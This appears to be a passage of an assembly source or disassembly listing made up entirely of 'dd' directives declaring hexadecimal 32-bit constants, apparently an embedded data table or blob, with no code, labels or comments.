		dd 58320579h, 0E285F83Ah, 3A503B64h, 0F313C32Ah, 0F2EC0227h
		dd 0A4850C46h, 0D544C360h, 1044784Ch, 0D4C0F637h, 0A528DFDBh
		dd 0EE22FC43h, 0DBCC5303h, 0FACA475Eh, 3BD4609Fh, 22A180A5h
		dd 0D0904EF2h, 54D61B28h, 5D565001h, 1DFBA6CAh,	0CB231029h
		dd 74183407h, 19CDE372h, 0C0D912A8h, 5F7A4D8h, 0B705813h
		dd 0EC8DA19Dh, 0D228916Eh, 7E1CBCA6h, 79B6EF1Bh, 11CF0C70h
		dd 1DA093D4h, 60061A17h, 719BC40h, 905EA232h, 0B8DAF214h
		dd 0D028C048h, 92D7A990h, 58A3F230h, 788429Dh, 191EE46Dh
		dd 98135696h, 6A2A180Fh, 344A3D8Eh, 0D814E8EDh,	0B5EC81Ch
		dd 0CA0494Dh, 9139B00Ah, 6CE05678h, 0F668CF0Ah,	2780B019h
		dd 0C30A2DE0h, 152B00DBh, 8FC8984Fh, 0A5140FFAh, 0BCD84505h
		dd 305843A2h, 1AA5F035h, 2E8740F6h, 93D1EC99h, 40C75B18h
		dd 0DFEACA04h, 73E2A05h, 0AAD6C401h, 586011C6h,	589F2453h
		dd 80E61158h, 0A5D0D6E5h, 31448CE1h, 0D6ED0710h, 0DA8D26h
		dd 0FE7D6F7Eh, 8BBA091Fh, 0B82F0213h, 401E9223h, 0BA4895C0h
		dd 16CF518Eh, 1780291h,	22A6F96Ch, 41386492h, 0E9AD60Ch
		dd 0F1F6C0F2h, 0F36B050h, 7F6516A2h, 2BC086Dh, 0BF6E4481h
		dd 44D27DD1h, 8388F0D4h, 2C606CE2h, 14944402h, 83D5FF01h
		dd 0E88F7521h, 0BD3D1Ch, 1E39446h, 0A12C9D23h, 0FA0C7058h
		dd 67C95068h, 322FE96Ah, 2840A9DAh, 54003DE7h, 347E620Eh
		dd 0DFACFA8Bh, 27924218h, 44400C52h, 16F015EEh,	84461D4Bh
		dd 0D80562h, 46B943EDh,	0AB34E897h, 181C5630h, 0C2DD77Eh
		dd 65BF9EBEh, 4A75979h,	44EB4C00h, 7826902h, 0AF459D42h
		dd 0C097C73Dh, 7041AA3Fh, 3F5323Ah, 5C9DE09Eh, 625AF8D9h
		dd 0AA5B0091h, 1E2B039h, 4109774Ch, 9D7D1E0Dh, 58AA0844h
		dd 0B1E0C860h, 0E55B0ED2h, 2480D5AFh, 0E89E4419h, 0DF003C93h
		dd 91A5C6D6h, 508C96F2h, 5F90E75Ah, 31BD2301h, 0A1D287C6h
		dd 209E0030h, 4D025C11h, 0E1CA9B56h, 16D08063h,	2ED36FDh
		dd 0C4DDE0E6h, 0C8E46D4Dh, 5AC8220h, 0E7CD2AA1h, 4768C026h
		dd 9609E575h, 0A00B6ADAh, 0C8A38F34h, 20C5536Bh, 60E8B684h
		dd 96695943h, 6B83691Ch, 0B2D428E9h, 0D35DC01Ch, 0EC9FADBh
		dd 0FD6A234Eh, 2A4469A2h, 0D20E1459h, 2060A008h, 3347C8Ah
		dd 2170D14Ch, 98C95502h, 0B3DA702Fh, 85D2A309h,	29208093h
		dd 9294C3FAh, 0FE5D0E70h, 10B96AE2h, 9C29C5h, 7DF03155h
		dd 0EC8B92h, 0C8D3639Ah, 5C8D0387h, 51CA9E12h, 498C7070h
		dd 558B093Eh, 60011B0Ah, 0E87E673Dh, 0F205F5CCh, 1CD4E021h
		dd 0E11934C3h, 382C56E4h, 3B8C28BCh, 0EA929A61h, 0B9E406B2h
		dd 8C0FD88Ah, 2A22A2FCh, 4C28BCB4h, 73B86B56h, 2810DB71h
		dd 0EFC8FCC5h, 0E0C9578Fh, 0C0DE7276h, 789802BFh, 2670545h
		dd 0D85B1853h, 18F22Ah,	778D0FBBh, 0EB292859h, 17031125h
		dd 815D1108h, 0AE89B5CDh, 751D802Ch, 5E688B93h,	85FC6A00h
		dd 8CE03B60h, 2B825512h, 47F78C0h, 695C65BFh, 0F9B09075h
		dd 0EF4913Dh, 1860941Dh, 0E6E36E02h, 0BE78E1C6h, 0A8006C29h
		dd 0C2C1185h, 8F00F658h, 25F23610h, 2E6C1BFh, 0EE3DD133h
		dd 0E092DB1Ah, 0DFC390C0h, 1DE0C1C5h, 6579A501h, 0B85528DDh
		dd 0E33AA883h, 4E1DD0AAh, 76C709F1h, 0CC452DE5h, 0EE677AE4h
		dd 0A7D84F00h, 0F60086D0h, 0D2A53548h, 9227C3C1h, 0DD80A004h
		dd 0CB10C7B6h, 0C0E5A948h, 336035C4h, 4D0388CFh, 255029A8h
		dd 0F4A91362h, 1100AFFEh, 0E83922A5h, 6D79C923h, 0DBC64030h
		dd 9528E516h, 1E1F838h,	610DB9Eh, 243A26F2h, 123405D0h
		dd 74C0A915h, 0B6386EBh, 90D7141Ah, 71418406h, 90190739h
		dd 2011CF9h, 0DE92E085h, 7D182012h, 52E21F13h, 0BFCF3880h
		dd 0AC0E5C94h, 1D5F6210h, 0A998E1D8h, 17505B20h, 146498Bh
		dd 0F59C0E29h, 54C98011h, 96C2A273h, 402402F3h,	1E5FD2ACh
		dd 0F499EC41h, 0C6268718h, 469E249Eh, 82D8201h,	0E42276E2h
		dd 0D3E3C000h, 0DE4B7509h, 0F60C88B3h, 2536917h, 3A46CEB0h
		dd 94CC5758h, 19D0F917h, 0F21FBC20h, 0D98AF99Ah, 8AA8A717h
		dd 80D05FC9h, 0A95AB145h, 480275D1h, 0F713FB30h, 4FB8C035h
		dd 0A47F508Bh, 28902A4Ah, 0F6046DCh, 0C8E4DBD1h, 49A3C4ADh
		dd 0F61C8056h, 13D28116h, 270A1B7Bh, 0EFF337D0h, 3641E160h
		dd 0BA59A9B6h, 8A137FE8h, 5C820B5Eh, 0B670E13Fh, 841050DBh
		dd 68028CEDh, 59D62F54h, 108C1941h, 0B546099h, 2C81BFE7h
		dd 9B29608Eh, 26E3BC69h, 0D6E00174h, 0F289A5D3h, 67A08C2Ch
		dd 7100D6E8h, 0E3319877h, 33925EC5h, 0C89834CAh, 71D8BCB0h
		dd 1034074Ch, 8118339Eh, 0D4E86119h, 0D1259009h, 0C96C101Ch
		dd 0A4A9C788h, 8DC563E5h, 0EC958A00h, 0D8571B7h, 0A7E2005Ch
		dd 0EAE870C8h, 1512970Fh, 38920E04h, 50DAB8h, 8885FEF2h
		dd 0A4B5DE5Fh, 1A0A6906h, 32198C7h, 6FD92C0Eh, 0D2F8355Eh
		dd 300BD3F8h, 261EDB79h, 799AC08h, 0B44EE432h, 236FA003h
		dd 3A00D3BFh, 465FDACEh, 30D9E9F4h, 0B65995C5h,	60023A8h
		dd 6E0127D5h, 5EC738DCh, 0F6444975h, 0D0CF9011h, 0D1F4BCCEh
		dd 290550B3h, 8CA012DAh, 0A954B3A1h, 59F57038h,	5E430186h
		dd 637D72A2h, 0E995C43Dh, 5292D609h, 300EFBh, 3BEEED67h
		dd 133F14D5h, 87007CF6h, 0D590683h, 617D85B8h, 49952301h
		dd 817B432Ah, 6430C1CDh, 0F429D16h, 111A9441h, 4FFC7C52h
		dd 2D911257h, 8754848Ah, 143299E0h, 367970D9h, 540EB518h
		dd 0C395B28Fh, 94DA1EDCh, 373858D0h, 9C5E006Ah,	9ED608Ch
		dd 910E2841h, 0FF9EDACFh, 0B8A30026h, 140A1F02h, 6E461CACh
		dd 0DA26B458h, 700C2C4Eh, 0DB3ECC5Ch, 0D8A69EB3h, 34762DC0h
		dd 926F1F50h, 0A2D60AD0h, 4BBC11BEh, 60E31804h,	24355476h
		dd 70E069D6h, 541F6E9Bh, 76065344h, 3963C9h, 9E8DEA8Ch
		dd 56CFE006h, 947B3900h, 0F5C42810h, 662B0595h,	1D6FDE52h
		dd 6B925FD8h, 60DE7870h, 7362BA00h, 554E1FD2h, 97F70292h
		dd 0E6AAE018h, 0F430F4EAh, 24BCB89Ch, 0A66E1F80h, 776B6040h
		dd 0A5CA124Bh, 39200069h
		dd 0BEAECBD9h, 360044B9h, 64885EF3h, 41A26150h,	0DF9D2BC4h
		dd 0CCE06A04h, 0AC82528Bh, 44AC628Ch, 0B14E00A8h, 0DA510A6Ah
		dd 0A400D4DFh, 0B7C07F7Eh, 94D15EAh, 9B681795h,	2050CC18h
		dd 0C9B48754h, 58A68CA0h, 0F44F80h, 408CEF12h, 28187A7Ch
		dd 0DC0D0C03h, 0EBF1F74Dh, 0A0E3BB64h, 7AE568D3h, 0AAC226CAh
		dd 5E5C2EACh, 0C70F3346h, 4CC1AC39h, 41FE7952h,	20F5B6ACh
		dd 9A4E121Ch, 22254420h, 58695DA6h, 80C8DA93h, 0F5C790DCh
		dd 22F72C2Dh, 3AA6080Ch, 465CD04Ah, 0FE3F1734h,	0B6BEEF00h
		dd 2398A7Fh, 51E1539Fh,	20EC4DE2h, 602F675Eh, 330BB223h
		dd 32E8020Bh, 4E380095h, 0E20909D9h, 0EE29D1h, 6DB6E4FCh
		dd 0D0B0B94Bh, 8659F4h,	0FAF1F6Ch, 0C5D4F3ABh, 0D7819660h
		dd 3E9F6B85h, 0AD8038C6h, 66C3D502h, 0A2EAAE0Ch, 0F0183224h
		dd 2C2A8284h, 0A4F98081h, 606C9EF1h, 0F0C03858h, 0F60CDB5h
		dd 3621FB05h, 0CE01C4BBh, 4AFF980Ah, 0D26C482Bh, 731835C1h
		dd 9C62ACDFh, 18ECE020h, 60F900BDh, 22856976h, 0CA120DB2h
		dd 1464C435h, 0C4A0A8A6h, 0FC1E576Fh, 2481A6C3h, 1333740Ah
		dd 89B62C34h, 45AFF48Bh, 0FC30084Bh, 1B20D8h, 70369ECCh
		dd 6225F438h, 0C792BB13h, 0EA8BD440h, 0B143D5E5h, 18EE7974h
		dd 0D4801EAh, 64E3AE15h, 88A4C6A3h, 0E0ADF3h, 758613Fh
		dd 182BF9Ch, 0F4600112h, 66D32E02h, 7D241308h, 0F9C8109Ah
		dd 38459DC0h, 9F6E6DEh,	7535EE34h, 0D609A052h, 5A04C29Ah
		dd 13C8465Ch, 4C1F182Fh, 0A911F06Bh, 18E6D200h,	4D068D85h
		dd 211F0507h, 92F2086Eh, 10564Eh, 66FFECE3h, 3307970Eh
		dd 869AD5ADh, 0EB16C44Ah, 0A988CCCBh, 6D9D07C0h, 0F8C9006Ch
		dd 8C650CECh, 1D61222Dh, 0F58692D1h, 519A7700h,	465E9C96h
		dd 97F83F29h, 8A18C1C6h, 8023E660h, 50139063h, 4C819F92h
		dd 3066B03Eh, 6037A425h, 70C52100h, 4AB2D5C6h, 0F5C4818Eh
		dd 0D2E45012h, 0C0079E04h, 2F16E738h, 0FA9D6432h, 0DEEB71B4h
		dd 4E2C6210h, 8C160011h, 11F6484Bh, 89D06920h, 567005h
		dd 59AFBA7Ch, 0E6263EE2h, 1F4E1E1Eh, 62603026h,	0C2DE9Dh
		dd 652EA36h, 61D79C0Fh,	0D55DCBE0h, 25811808h, 0FA2F79h
		dd 301FC3Ch, 0B0C5C46Eh, 0E31449C0h, 79198DAh, 0B4C82652h
		dd 3CAF8F13h, 14EE9420h, 45131A06h, 34CB2DE5h, 9BC07AC8h
		dd 0E8FDE08h, 3A95EBF5h, 4FC6FFA3h, 0F14A8100h,	8E5A964Bh
		dd 4E6324DAh, 3C801FFh,	23C136CBh, 0A347CB8h, 3BC0D118h
		dd 2553B460h, 0E4A491CFh, 0ACB0AD03h, 996D05C3h, 0CC5BAB5Eh
		dd 48CE4B8h, 0D6345473h, 20916271h, 8E546B98h, 4CCB4901h
		dd 40DDD7C7h, 0EEA29C73h, 334DF833h, 297E0472h,	0E09CAEE2h
		dd 0A0421C44h, 0F7A6222h, 0E9436600h, 2AF60E83h, 9D8C098Ah
		dd 0FC6729A6h, 95609264h, 3273040Ah, 0A1E8009Dh, 0C038FAF1h
		dd 722AA388h, 789B27C3h, 4149B0D3h, 0B8C30205h,	0F9728ADFh
		dd 0CC09A841h, 665992D7h, 60B4588Ch, 0DBD916F1h, 901F3947h
		dd 0E0999189h, 928695AEh, 0C4B13122h, 4E4F0880h, 7D20977h
		dd 0E075195Eh, 0A03BA7F6h, 0EEFD504h, 0B420705Fh, 175B0Bh
		dd 10C205E8h, 0B4A8F966h, 688D4430h, 1C4B2177h,	811AEC62h
		dd 63AE43E3h, 34299Bh, 0C29873C1h, 5EFA2999h, 0D4F40417h
		dd 36CA35Dh, 293FBB3Ah,	0DF8C8846h, 0C07950h, 214423F9h
		dd 402DFCBDh, 6515A127h, 609CE450h, 7B0E067h, 8F4ECAB1h
		dd 2117C68Eh, 75309B7Ah, 71BB31CFh, 699907A2h, 4164DD7Fh
		dd 0C4805B68h, 4894D00Fh, 63913A40h, 5F02EEDFh,	42C74A5h
		dd 0B4F6FEBCh, 0EE163E50h, 5804998Bh, 8C02FA16h, 444BAE55h
		dd 239DA3E9h, 58AAA118h, 0A400E80Ch, 0F6163DBFh, 0B83C9D8Fh
		dd 4CD9F6A8h, 0AC22881Eh, 32000779h, 0E9F50566h, 562B2EDh
		dd 0B875E1F6h, 0B4F38650h, 1D902D69h, 82901164h, 0C0C29F80h
		dd 997733Eh, 0AEDA1F70h, 0C5309470h, 1E4E891Ch,	8139CA5Fh
		dd 24F443BCh, 0BA1CC190h, 0AB2F550Eh, 0C82E810Eh, 77D9363Ch
		dd 8CD5B041h, 2FB4122Fh, 288C2340h, 75ABE0D8h, 41C8201Fh
		dd 8A012F90h, 47E9F419h, 53E060C7h, 4434CF0Ah, 88D9A009h
		dd 1B18A879h, 0E1FAE5F9h, 0E8A0FA1Dh, 0FED5E038h, 1F322109h
		dd 91C89D98h, 8DD58390h, 30F68834h, 8E700595h, 0D4969168h
		dd 0EAF8C184h, 0B00A0007h, 3B3EF323h, 0A623ECh,	968A9F47h
		dd 0C84BE09Eh, 7E86EC40h, 7783E8h, 6CDEEBD5h, 1C057A40h
		dd 18CBF400h, 0E6450BBEh, 41313AD6h, 0E36DF900h, 4CD10E35h
		dd 9E3C5090h, 0A4907716h, 0A70D5F02h, 7681F2A1h, 9E118044h
		dd 8EA2065h, 6ED24E00h,	712C8497h, 8074B4F6h, 0A324C469h
		dd 0BCF470BBh, 0FA208607h, 0EE11F91h, 0C03B5616h, 1478C703h
		dd 0EDBCF000h, 8F742FA5h, 109D60C8h, 537016FFh,	807DCB3Ch
		dd 0BF3A4ADAh, 0E8E2E950h, 8BE0D7h, 65A396DEh, 6D4D4BE4h
		dd 0F608FC66h, 0E2307F21h, 18637036h, 19E7F7A4h, 4C393AF0h
		dd 0D06B8032h, 282E5F04h, 3BA70083h, 0C1E76548h, 0ED067746h
		dd 0EC4CFF9Ah, 35600038h, 28D64380h, 0CD33EB9Bh, 590830h
		dd 803D8D21h, 0BC44E61Eh, 0F48068DFh, 0CD7AD96Bh, 0E9E00A6h
		dd 0A0B7FF5Ah, 2D0A2BC8h, 3056C4F0h, 0CD5FD307h, 3359D546h
		dd 13B1F0E8h, 0F8E69AE0h, 5A72E103h, 234F990Eh,	34018FA0h
		dd 30D64E80h, 40886418h, 0C580003Ch, 0FC19AA0Dh, 911D5AA5h
		dd 0BBC03DC6h, 0C8E6590Ah, 0A087FA88h, 3079D5C0h, 7418052Bh
		dd 0F940F36Fh, 0A491FC76h, 802E043Ch, 62E0D644h, 368A2065h
		dd 0D8000580h, 7001F24Fh, 0A8842E0h, 0E1F44EC8h, 804691ECh
		dd 65A596D8h, 0C0E08C94h, 5902280h, 4745AF96h, 16B400D6h
		dd 0BFF2C1B6h, 122E8B03h, 231EB293h, 823A1C58h,	465A796h
		dd 80F8194Ch, 969A2C21h, 7EC45625h, 330B1C43h, 3B65423Eh
		dd 0C403798h, 36194E81h, 0BF78D567h, 9AC4A3EDh,	917A0354h
		dd 908A6CBBh, 404E03A1h, 0A39B2D80h, 98846000h,	0DE44137Dh
		dd 0D38000FCh, 0D949A5D1h, 3C91A64Ah, 0F6B1A87h, 6C76ABF1h
		dd 0DB8CF8h, 0B18D8FCCh, 9E4D5781h, 7AF7C61Dh, 6CEA3400h
		dd 0F4C903Ah, 0E1A05A0Dh, 413C0C00h, 4931BBB2h,	4C446056h
		dd 0D5FC9450h, 0F2AB0106h, 0E6797AA0h, 8C6BCC57h, 0A8937B00h
		dd 54A60BD2h, 0CBE215D7h, 44298C9Eh, 79D300B4h,	1B1DC7CEh
		dd 83DE7D0Ah, 4462E487h, 8F7C48C2h, 6FBC1CB1h, 65018A77h
		dd 70D2020Ch, 2440FC1Bh, 10004FA6h, 7B353863h, 0F271D5D9h
		dd 445748D3h, 99F77008h, 3080A1Fh, 0C0901404h, 43D3723h
		dd 825499A3h, 68001A38h, 0DE6E2AA8h, 4D1F618h, 0FFB00D56h
		dd 1C509051h, 0DC0093A9h, 0BA708BF4h, 1C7D2F12h, 0FE81D57Bh
		dd 5E2AF05Fh, 0BCE1BB13h, 0B6C44400h, 0D9CBBAh,	2B2CEBCAh
		dd 0E6566F7h, 83A3213Bh, 0B4874AD1h, 0EFC004F6h, 1086320h
		dd 0EA4F58B2h, 71D11883h, 0F000327Ah, 0CBC4C674h, 1F5B3C7Eh
		dd 87A4816Dh, 0B354B608h, 7815BF4Dh, 38A4C145h,	940782ACh
		dd 6C7E1574h, 0D44A0A5Ch, 0BC983319h, 4B42B781h, 8054F488h
		dd 488CF7F1h, 4298573h,	96F2F85Dh, 90368095h, 571D10E1h
		dd 0A08AC027h, 0EFCE60EFh, 0C544A6D7h, 4F9F0489h, 0D3D2340Ch
		dd 952CA68h, 47FF0038h,	0F411070Ch, 3B1E006Ch, 0C15B82A5h
		dd 5135B9ECh, 40AD8AAh,	215EEC80h, 0D0BA4DDBh, 0AF41A190h
		dd 16A458h, 0F33EE9C7h
		dd 0AD66C4A4h, 0FE1D8F01h, 97257655h, 7C39F1B8h, 99D85BB2h
		dd 80C3830h, 2A73D239h,	16219866h, 0C5106h, 488BF2Dh, 650C736Dh
		dd 0C1DE723Dh, 1C8D0067h, 7E0C0B85h, 0F0535120h, 65E101A4h
		dd 60CEEDA4h, 0D4A4D7F1h, 808C11ACh, 0D651802Fh, 58448CD8h
		dd 80370097h, 0D12E7114h, 0E0156E7Eh, 9802CFEh,	2AE3F649h
		dd 5C00A1E0h, 23965BB0h, 0EA2E2606h, 74A82690h,	5600EA46h
		dd 26591729h, 4C98E585h, 0D47B512Ch, 44B02508h,	96DD6049h
		dd 8C6523A4h, 2900F811h, 156A9695h, 0AC004459h,	9C071EBBh
		dd 69D83685h, 1882D063h, 1D113562h, 962C9918h, 18263990h
		dd 0C2702D71h, 2E3C5C1Fh, 9BF00279h, 0B6ADB9E6h, 0B0CB4048h
		dd 0E2688FE7h, 0F559DBD1h, 1336A83h, 0E5265E18h, 4466881Eh
		dd 0CFB5C448h, 0BFEA8460h, 89D36630h, 0C30FF6E0h, 60C67305h
		dd 15D14F56h, 1D3300B5h, 20618FE6h, 0D724EE7Bh,	40CA509Eh
		dd 1BD22A04h, 500BC8Eh,	66A10C4Ah, 0CC4C1287h, 986F10A8h
		dd 760EFF0Ah, 60EC24CAh, 0A6DFE2A2h, 329C3D01h,	0CAE185A0h
		dd 0CD004072h, 3596C039h, 16045E8Fh, 3488A773h,	138070C8h
		dd 3B583C3Bh, 23C34110h, 88940010h, 0AF737FD2h,	5871FA7Ah
		dd 51644D93h, 0C45609Ah, 7BD2102Eh, 0C953CC2Ah,	0C1E0001h
		dd 0B8C5BD29h, 1901FFC4h, 58C74756h, 0B08EFB13h, 2124626Ah
		dd 0B89CC15Fh, 4AE20232h, 413061DCh, 0A308A218h, 0C4725493h
		dd 9A204004h, 0ABD5A3h,	8F5563FDh, 102369D4h, 0C401F490h
		dd 0CB4EFF6Ah, 68843C38h, 0A1D5D354h, 6C2C6068h, 0F8E13E43h
		dd 0F2C0C4Dh, 469954Bh,	0D9219D40h, 7494F699h, 260E9480h
		dd 0C070Fh, 344806F7h, 2C9FDB64h, 9E8FFD3Ah, 68641846h
		dd 7C2DE087h, 0B005983Ch, 0A7191050h, 70CE1EDFh, 0C5F4E3FBh
		dd 52610293h, 143CFE1Ch, 48EBB448h, 0E87A9600h,	0DB4E0E85h
		dd 554B0AFBh, 9ED06733h, 0A3CEC6BFh, 0D2091151h, 2EFC2D43h
		dd 6FD90010h, 0AAB3786h, 0CD4BF109h, 0F67484F0h, 0E23CA273h
		dd 1F553063h, 0B8135026h, 0FE699C03h, 5B210056h, 4FA7DFCDh
		dd 0C002965Ah, 6436DB0Bh, 51888059h, 7BA13C3h, 0CEC2C8FBh
		dd 2184558h, 2869D180h,	0F7E6CD80h, 863BB3F0h, 5DC91317h
		dd 84FB2843h, 0BAE9F1ABh, 3EA410E0h, 25059A45h,	0CD2FDF6h
		dd 0CE4066D4h, 0AC08882Ah, 455F3300h, 1C534AF4h, 9027625Eh
		dd 6C006178h, 0A702DEFh, 0DF4550EBh, 67289B8h, 0B7124427h
		dd 0C01D322h, 63345AA8h, 98FD3101h, 8CAD7FF8h, 0A85064F4h
		dd 0A8DD72BCh, 8B40C8h,	1DFB37E2h, 0F7C6B86h, 0C880DA2Ch
		dd 99803C11h, 8A54D8A3h, 0E309043h, 0A3911781h,	0DE1C5800h
		dd 99E2D434h, 72DF0224h, 11B628A4h, 608C4A09h, 16784180h
		dd 3A0E5EDFh, 0F52344h,	0C0A9C78Ah, 6B1506EEh, 0EC53F3h
		dd 0D67D81B0h, 72BE9F87h, 40D52E8Ah, 709D10BCh,	5552E000h
		dd 0D94D41C3h, 0EBEC004Ah, 0C8339E04h, 1560C697h, 183B64A9h
		dd 590912Eh, 80D42B35h,	994D1518h, 5033630Ch, 5D72057h
		dd 468FFC7Ch, 4A2038B9h, 2F4A3046h, 0F52350h, 46662680h
		dd 909BFEA3h, 0C8E478h,	0DD3578AAh, 6B14F5EAh, 0CC0E5D05h
		dd 0E8536DC4h, 14003812h, 0FFCD90ACh, 0D40F535Eh, 5130F8A2h
		dd 9A360012h, 0B6E6BDA7h, 0CA02C681h, 68C811A2h, 0D73048DAh
		dd 5CB89C76h, 76035A46h, 0A3DF8E55h, 336721C8h,	0EA0544B0h
		dd 4825C354h, 3B69F001h, 0B4325104h, 0A4003323h, 0A254DDA3h
		dd 11548690h, 9C001684h, 0CB2296A3h, 6E53653h, 80FE8334h
		dd 87005060h, 3F511479h, 0A8494491h, 32ED8B4h, 29B503ABh
		dd 1A9172E8h, 7B57D96Eh, 48CFE5F0h, 0ABCB081h, 0D6B81E8Ch
		dd 5EE243ABh, 2EE54106h, 2102324h, 0ED771D6Eh, 51787C51h
		dd 4B0586D6h, 0FFF7678Dh, 3BDF440h, 7F4A04Eh, 4737D944h
		dd 679F6008h, 12056F64h, 39A2D8EEh, 13ECC402h, 0C384C05Ah
		dd 0D050507Dh, 0DF802463h, 8F951100h, 5909932Ah, 0F09C40h
		dd 0A480328Eh, 4BFF6B3Fh, 2AE6C400h, 5D6ABC72h,	3CD11F3Bh
		dd 31677BDFh, 4621A0A9h, 0F0006151h, 181FD691h,	6C8108h
		dd 349E744Eh, 8DF364D7h, 7DD8CE50h, 6721BCB8h, 0C528145h
		dd 1823D22Fh, 0FC8953h,	2C026899h, 0CE84F6h, 774770B9h
		dd 0A09EEEE0h, 0F760D282h, 2A879EAh, 0A2F9DA34h, 847820C2h
		dd 5EB1020h, 0C03179D1h, 0C488CE54h, 530D798h, 0D300E50Eh
		dd 0F1668FDCh, 0E8AE154Eh, 0E21B2C70h, 6E341EF0h, 0F4D8042Eh
		dd 0E880A0A8h, 38E0CC92h, 5524CA7Bh, 0D429221Bh, 0BB1864D1h
		dd 86D19A0Fh, 0C0896F8Bh, 2F19559Eh, 0C94B803h,	882358CAh
		dd 60BA10F0h, 376DFF1Ah, 8549DC9h, 0D060D79Eh, 38925296h
		dd 66806701h, 0F91D8A1Ch, 781AC82Eh, 5170BF40h,	185A79BCh
		dd 76274E6h, 43CFA9C8h,	6C23EBC0h, 49805272h, 703101CDh
		dd 0A7C891F2h, 93F50A6Bh, 0E2BF01E4h, 0C001CCh,	4CC4D6ECh
		dd 0F40C2834h, 0A068ED71h, 5EE13700h, 0D3F3307h, 7CCD05E6h
		dd 0DA5445Fh, 3C914DC4h, 8C58BCC8h, 7C0B8802h, 63787249h
		dd 0BEF68960h, 0C541F852h, 60F7E44Ch, 1582B4E7h, 74711814h
		dd 58098042h, 6810F6EFh, 3CF342B3h, 609E58F4h, 7483CD18h
		dd 5090A4h, 0ABD28D38h,	933B58C7h, 0A2FA20C7h, 321A9C4Ah
		dd 8ACE659h, 0C685BB5Eh, 872933Ch, 0E85C7842h, 0C089E3CCh
		dd 0D65863h, 733FB3F6h,	25797A72h, 0BC65D805h, 0A42F774Bh
		dd 2002723h, 537E4EDCh,	0C39D33D3h, 68E9FB80h, 11E85264h
		dd 765BC470h, 5A23D82Eh, 0AC710F3Ah, 194B6C49h,	0C36101AFh
		dd 0CAC77004h, 300CECADh, 7914D5F8h, 0FAC368Bh,	0B562661h
		dd 5B6040C3h, 0ED74147Bh, 39804096h, 0C8D63780h, 8961448Ch
		dd 20804100h, 0FFA24836h, 5B70DCh, 319EEE79h, 6A6278CFh
		dd 0EAE2C269h, 56A004F0h, 0B7D30E40h, 4300F368h, 32DE8F20h
		dd 0A34594h, 0F6AB80DBh, 78A6C8EFh, 0CB665C3Ch,	770806Bh
		dd 2109C411h, 7A1F1014h, 0A700CDE7h, 0D1F2D6B6h, 0FED5CFA8h
		dd 74E04CF3h, 0FF5ED000h, 0DDAFC83Bh, 465EDC9Ch, 82DD39F7h
		dd 20F1AF7Eh, 0E6644413h, 44F34E03h, 0E3E9BF88h, 304CB260h
		dd 0D1041CC4h, 44368535h, 6548B0h, 48E2CB07h, 0E8F7CDA1h
		dd 4C8D9400h, 0A379D78Bh, 0EA70C2D4h, 2C514E67h, 618F979h
		dd 0E9E48203h, 0C0881BBCh, 18AF62C7h, 0D85B6758h, 4A0CDBEAh
		dd 105A188Fh, 0F8DC62ECh, 4400F4CFh, 6A56C4CDh,	1178799Ah
		dd 802B8090h, 0BE38D64Dh, 338B5814h, 0ACC18000h, 1FCC07A5h
		dd 5834909Fh, 63BC3874h, 7A7C018Ch, 2DEFF7DCh, 38E1FED6h
		dd 45068CDh, 285C1E85h,	20E3C8E0h, 0A48A05Dh, 20309264h
		dd 0F706E9h, 0A1677062h, 56A33F46h, 639F0700h, 85F2F68Ch
		dd 0D38005E0h, 0C04F8DC9h, 0DA68AD68h, 11B89782h, 0FE608027h
		dd 0E85D74DAh, 0F86C38CDh, 49206F24h, 9E040881h, 5A83940h
		dd 0AD5607E2h, 0BCB89410h, 370E8C27h, 2A4E13D2h, 46562077h
		dd 35AD015Ch, 0A65E49B4h, 1CD5C64h, 0CEEF95Fh, 0A0DB02FBh
		dd 120C0A9h, 7F6300BCh,	49B543D6h, 39C9426Ch, 60F0CD76h
		dd 932B5B75h, 0FC2CA772h, 0B50B1CA4h, 0C24445EEh, 0B618D653h
		dd 0BC870022h, 7621BBA6h, 14BEDFF1h, 8FE4B843h,	0DD06206Fh
		dd 249D1ADh, 19D58C56h,	0E2074B83h, 9F3157F6h, 0C4E01DC0h
		dd 7C0034E8h, 4D5A722Fh, 0D7F576Eh, 0D66FFFDAh,	0A0F860A1h
		dd 0FA39340h
		dd 486CE132h, 34445DE3h, 0C299E0CBh, 0CC6024C1h, 0C42724Bh
		dd 40E2E8C8h, 3BDEFFFCh, 0D8094A4h, 30BA2A74h, 3106F1F0h
		dd 7FE16D61h, 0BCCE099h, 0E43CD8EAh, 0D8AB491h,	97AC3468h
		dd 9501D743h, 92157D29h, 6C7FF039h, 9DF49817h, 54A95024h
		dd 0BB001FACh, 612936AFh, 296C54DCh, 0D0ECACD5h, 1E86D79Eh
		dd 816B0BCBh, 85D3638Ah, 0CF8CE86Dh, 3DE5AE03h,	0BACDA3D4h
		dd 71405974h, 0B61864h,	810B858Ch, 3A953823h, 0C344FA18h
		dd 6B7781h, 2CB55A12h, 9F701E2h, 0CA37D00Eh, 901E0B47h
		dd 0B8517390h, 0FC3009Ch, 0FE42E659h, 3914D92Ch, 13DF0944h
		dd 0EC3A0E5Eh, 0E80FEA23h, 800BEB3Dh, 0E23CF656h, 24C14815h
		dd 0D2336D16h, 645CC780h, 35C9923Fh, 8C470488h,	0A60896F6h
		dd 6B4BFC65h, 8F2B64A0h, 0B61B7396h, 0E0518749h, 483719D3h
		dd 74129039h, 0A6F4945Fh, 765EE024h, 0E2250043h, 0FF0C30D5h
		dd 2102A7CEh, 74F25218h, 60A0106Fh, 7301E2Fh, 0CC9461D8h
		dd 924CB481h, 2F988105h, 0CF9C60ECh, 0E84A3CB6h, 0CE194F18h
		dd 0B2802478h, 0D2F507B6h, 84F16042h, 0CCB21436h, 0ACB18D00h
		dd 850F5EBEh, 2C583146h, 0B849FE18h, 0CACD02B9h, 4199E9A2h
		dd 0D8199DB0h, 0C298350Ch, 0E0282D4Bh, 0C1C098Ah, 7180B932h
		dd 207133F4h, 0DA0A6C00h, 874C835Fh, 54F52CC8h,	2B65053Ch
		dd 4728E044h, 90146B1Dh, 8178816Fh, 0B0763D4Eh,	84A3A61Fh
		dd 32909254h, 9E2C21DDh, 9C59C8A3h, 91C44530h, 0EEF39144h
		dd 3070081h, 3FE8FC3Eh,	0F8B1ED5Bh, 631866D9h, 7E4D5500h
		dd 529501F5h, 0EB0C2A87h, 47212ED0h, 28DDBBB0h,	0ED009AE8h
		dd 77759D0Dh, 1D3B1Eh, 56C15A1Ch, 4742F10Eh, 0C74BD400h
		dd 3FCC2CEBh, 64020BA6h, 0FCE174D3h, 0C80C308Ch, 11F7009h
		dd 5C29BDh, 0E42E9D0h, 0A9DB09B1h, 4C51DA9Dh, 86BFF5D0h
		dd 71772B00h, 0C43A60C8h, 304B5A53h, 4590B2C0h,	8B801094h
